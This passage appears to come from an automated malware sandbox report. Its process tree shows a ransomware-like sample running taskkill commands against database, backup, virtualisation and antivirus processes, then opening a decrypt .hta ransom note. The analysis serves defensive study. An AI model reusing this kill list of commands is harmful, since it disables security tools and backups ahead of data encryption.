                                                                                                                                cmd /C taskkill /F /T /IM sqlagent*
                                                                                                                                2⤵
                                                                                                                                  PID:1484
                                                                                                                                  • C:\Windows\system32\taskkill.exe
                                                                                                                                    taskkill /F /T /IM sqlagent*
                                                                                                                                    3⤵
                                                                                                                                    • Kills process with taskkill
                                                                                                                                    PID:1556
                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                  cmd /C taskkill /F /T /IM sqladhlp*
                                                                                                                                  2⤵
                                                                                                                                    PID:1752
                                                                                                                                    • C:\Windows\system32\taskkill.exe
                                                                                                                                      taskkill /F /T /IM sqladhlp*
                                                                                                                                      3⤵
                                                                                                                                        PID:1772
                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                      cmd /C taskkill /F /T /IM Culserver*
                                                                                                                                      2⤵
                                                                                                                                        PID:1432
                                                                                                                                        • C:\Windows\system32\taskkill.exe
                                                                                                                                          taskkill /F /T /IM Culserver*
                                                                                                                                          3⤵
                                                                                                                                          • Kills process with taskkill
                                                                                                                                          PID:2008
                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                        cmd /C taskkill /F /T /IM RTVscan*
                                                                                                                                        2⤵
                                                                                                                                          PID:228
                                                                                                                                          • C:\Windows\system32\taskkill.exe
                                                                                                                                            taskkill /F /T /IM RTVscan*
                                                                                                                                            3⤵
                                                                                                                                            • Kills process with taskkill
                                                                                                                                            PID:1548
                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                          cmd /C taskkill /F /T /IM sqlbrowser*
                                                                                                                                          2⤵
                                                                                                                                            PID:1456
                                                                                                                                            • C:\Windows\system32\taskkill.exe
                                                                                                                                              taskkill /F /T /IM sqlbrowser*
                                                                                                                                              3⤵
                                                                                                                                                PID:1736
                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                              cmd /C taskkill /F /T /IM SQLADHLP*
                                                                                                                                              2⤵
                                                                                                                                                PID:316
                                                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                                                  taskkill /F /T /IM SQLADHLP*
                                                                                                                                                  3⤵
                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                  PID:848
                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                cmd /C taskkill /F /T /IM QBIDPService*
                                                                                                                                                2⤵
                                                                                                                                                  PID:968
                                                                                                                                                  • C:\Windows\system32\taskkill.exe
                                                                                                                                                    taskkill /F /T /IM QBIDPService*
                                                                                                                                                    3⤵
                                                                                                                                                    • Kills process with taskkill
                                                                                                                                                    PID:900
                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                  cmd /C taskkill /F /T /IM Intuit.QuickBooks.FCS*
                                                                                                                                                  2⤵
                                                                                                                                                    PID:1708
                                                                                                                                                    • C:\Windows\system32\taskkill.exe
                                                                                                                                                      taskkill /F /T /IM Intuit.QuickBooks.FCS*
                                                                                                                                                      3⤵
                                                                                                                                                      • Kills process with taskkill
                                                                                                                                                      PID:956
                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                    cmd /C taskkill /F /T /IM QBCFMonitorService*
                                                                                                                                                    2⤵
                                                                                                                                                      PID:924
                                                                                                                                                      • C:\Windows\system32\taskkill.exe
                                                                                                                                                        taskkill /F /T /IM QBCFMonitorService*
                                                                                                                                                        3⤵
                                                                                                                                                          PID:1780
                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                        cmd /C taskkill /F /T /IM sqlwriter*
                                                                                                                                                        2⤵
                                                                                                                                                          PID:552
                                                                                                                                                          • C:\Windows\system32\taskkill.exe
                                                                                                                                                            taskkill /F /T /IM sqlwriter*
                                                                                                                                                            3⤵
                                                                                                                                                            • Kills process with taskkill
                                                                                                                                                            PID:1544
                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                          cmd /C taskkill /F /T /IM msmdsrv*
                                                                                                                                                          2⤵
                                                                                                                                                            PID:1996
                                                                                                                                                            • C:\Windows\system32\taskkill.exe
                                                                                                                                                              taskkill /F /T /IM msmdsrv*
                                                                                                                                                              3⤵
                                                                                                                                                              • Kills process with taskkill
                                                                                                                                                              PID:1836
                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                            cmd /C taskkill /F /T /IM tomcat6*
                                                                                                                                                            2⤵
                                                                                                                                                              PID:1108
                                                                                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                                                                                taskkill /F /T /IM tomcat6*
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:276
                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                cmd /C taskkill /F /T /IM zhudongfangyu*
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:588
                                                                                                                                                                  • C:\Windows\system32\taskkill.exe
                                                                                                                                                                    taskkill /F /T /IM zhudongfangyu*
                                                                                                                                                                    3⤵
                                                                                                                                                                    • Kills process with taskkill
                                                                                                                                                                    PID:220
                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                  cmd /C taskkill /F /T /IM vmware-usbarbitator64*
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:936
                                                                                                                                                                    • C:\Windows\system32\taskkill.exe
                                                                                                                                                                      taskkill /F /T /IM vmware-usbarbitator64*
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:968
                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                      cmd /C taskkill /F /T /IM vmware-converter*
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:1080
                                                                                                                                                                        • C:\Windows\system32\taskkill.exe
                                                                                                                                                                          taskkill /F /T /IM vmware-converter*
                                                                                                                                                                          3⤵
                                                                                                                                                                          • Kills process with taskkill
                                                                                                                                                                          PID:1708
                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                        cmd /C taskkill /F /T /IM dbsrv12*
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:2016
                                                                                                                                                                          • C:\Windows\system32\taskkill.exe
                                                                                                                                                                            taskkill /F /T /IM dbsrv12*
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:924
                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                            cmd /C taskkill /F /T /IM dbeng8*
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:1668
                                                                                                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                taskkill /F /T /IM dbeng8*
                                                                                                                                                                                3⤵
                                                                                                                                                                                • Kills process with taskkill
                                                                                                                                                                                PID:1972
                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                              cmd /C taskkill /F /T /IM MSSQL$MICROSOFT##WID*
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:1472
                                                                                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                  taskkill /F /T /IM MSSQL$MICROSOFT##WID*
                                                                                                                                                                                  3⤵
                                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                                  PID:1792
                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                cmd /C taskkill /F /T /IM MSSQL$VEEAMSQL2012*
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:1064
                                                                                                                                                                                  • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                    taskkill /F /T /IM MSSQL$VEEAMSQL2012*
                                                                                                                                                                                    3⤵
                                                                                                                                                                                    • Kills process with taskkill
                                                                                                                                                                                    PID:804
                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                  cmd /C taskkill /F /T /IM SQLAgent$VEEAMSQL2012*
                                                                                                                                                                                  2⤵
                                                                                                                                                                                    PID:948
                                                                                                                                                                                    • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                      taskkill /F /T /IM SQLAgent$VEEAMSQL2012*
                                                                                                                                                                                      3⤵
                                                                                                                                                                                      • Kills process with taskkill
                                                                                                                                                                                      PID:316
                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                    cmd /C taskkill /F /T /IM SQLBrowser*
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:1508
                                                                                                                                                                                      • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                        taskkill /F /T /IM SQLBrowser*
                                                                                                                                                                                        3⤵
                                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                                        PID:1760
                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                      cmd /C taskkill /F /T /IM SQLWriter*
                                                                                                                                                                                      2⤵
                                                                                                                                                                                        PID:1252
                                                                                                                                                                                        • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                          taskkill /F /T /IM SQLWriter*
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:1484
                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                          cmd /C taskkill /F /T /IM FishbowlMySQL*
                                                                                                                                                                                          2⤵
                                                                                                                                                                                            PID:1772
                                                                                                                                                                                            • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                              taskkill /F /T /IM FishbowlMySQL*
                                                                                                                                                                                              3⤵
                                                                                                                                                                                                PID:1752
                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                              cmd /C taskkill /F /T /IM MSSQL$MICROSOFT##WID*
                                                                                                                                                                                              2⤵
                                                                                                                                                                                                PID:1480
                                                                                                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                  taskkill /F /T /IM MSSQL$MICROSOFT##WID*
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                                                  PID:552
                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                cmd /C taskkill /F /T /IM MySQL57*
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                  PID:228
                                                                                                                                                                                                  • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                    taskkill /F /T /IM MySQL57*
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                      PID:1996
                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                    cmd /C taskkill /F /T /IM MSSQL$KAV_CS_ADMIN_KIT*
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                      PID:1456
                                                                                                                                                                                                      • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                        taskkill /F /T /IM MSSQL$KAV_CS_ADMIN_KIT*
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                                                        PID:1736
                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                      cmd /C taskkill /F /T /IM MSSQLServerADHelper100*
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                        PID:608
                                                                                                                                                                                                        • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                          taskkill /F /T /IM MSSQLServerADHelper100*
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                          • Kills process with taskkill
                                                                                                                                                                                                          PID:588
                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                        cmd /C taskkill /F /T /IM SQLAgent$KAV_CS_ADMIN_KIT*
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                          PID:928
                                                                                                                                                                                                          • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                            taskkill /F /T /IM SQLAgent$KAV_CS_ADMIN_KIT*
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                            • Kills process with taskkill
                                                                                                                                                                                                            PID:936
                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                          cmd /C taskkill /F /T /IM msftesql-Exchange*
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                            PID:1504
                                                                                                                                                                                                            • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                              taskkill /F /T /IM msftesql-Exchange*
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                PID:1248
                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                              cmd /C taskkill /F /T /IM MSSQL$MICROSOFT##SSEE*
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                PID:1516
                                                                                                                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                  taskkill /F /T /IM MSSQL$MICROSOFT##SSEE*
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                                                                  PID:2016
                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                cmd /C taskkill /F /T /IM MSSQL$SBSMONITORING*
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                  PID:1848
                                                                                                                                                                                                                  • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                    taskkill /F /T /IM MSSQL$SBSMONITORING*
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                    • Kills process with taskkill
                                                                                                                                                                                                                    PID:1144
                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                  cmd /C taskkill /F /T /IM MSSQL$SHAREPOINT*
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                    PID:236
                                                                                                                                                                                                                    • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                      taskkill /F /T /IM MSSQL$SHAREPOINT*
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                      • Kills process with taskkill
                                                                                                                                                                                                                      PID:480
                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                    cmd /C taskkill /F /T /IM MSSQLFDLauncher$SBSMONITORING*
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                      PID:1196
                                                                                                                                                                                                                      • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                        taskkill /F /T /IM MSSQLFDLauncher$SBSMONITORING*
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                                                                        PID:1064
                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                      cmd /C taskkill /F /T /IM MSSQLFDLauncher$SHAREPOINT*
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                        PID:1524
                                                                                                                                                                                                                        • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                          taskkill /F /T /IM MSSQLFDLauncher$SHAREPOINT*
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                          • Kills process with taskkill
                                                                                                                                                                                                                          PID:684
                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                        cmd /C taskkill /F /T /IM SQLAgent$SBSMONITORING*
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                          PID:1304
                                                                                                                                                                                                                          • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                            taskkill /F /T /IM SQLAgent$SBSMONITORING*
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                            • Kills process with taskkill
                                                                                                                                                                                                                            PID:1936
                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                          cmd /C taskkill /F /T /IM SQLAgent$SHAREPOINT*
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                            PID:820
                                                                                                                                                                                                                            • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                              taskkill /F /T /IM SQLAgent$SHAREPOINT*
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                PID:1252
                                                                                                                                                                                                                          • C:\Windows\system32\vssvc.exe
                                                                                                                                                                                                                            C:\Windows\system32\vssvc.exe
                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                            • Modifies service
                                                                                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                            PID:1512
                                                                                                                                                                                                                          • C:\Windows\explorer.exe
                                                                                                                                                                                                                            "C:\Windows\explorer.exe"
                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                              PID:1352
                                                                                                                                                                                                                            • C:\Windows\system32\AUDIODG.EXE
                                                                                                                                                                                                                              C:\Windows\system32\AUDIODG.EXE 0x2e0
                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                PID:808
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                                "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Desktop\Ejdgcj-decrypt.hta"
                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                • Modifies Internet Explorer settings
                                                                                                                                                                                                                                PID:1936

                                                                                                                                                                                                                              Network

                                                                                                                                                                                                                              MITRE ATT&CK Enterprise v6

                                                                                                                                                                                                                              Replay Monitor

                                                                                                                                                                                                                              Loading Replay Monitor...

                                                                                                                                                                                                                              Downloads

                                                                                                                                                                                                                              • memory/1836-196-0x000007FEF8040000-0x000007FEF82BA000-memory.dmp

                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                2.5MB

                                                                                                                                                                                                                                Download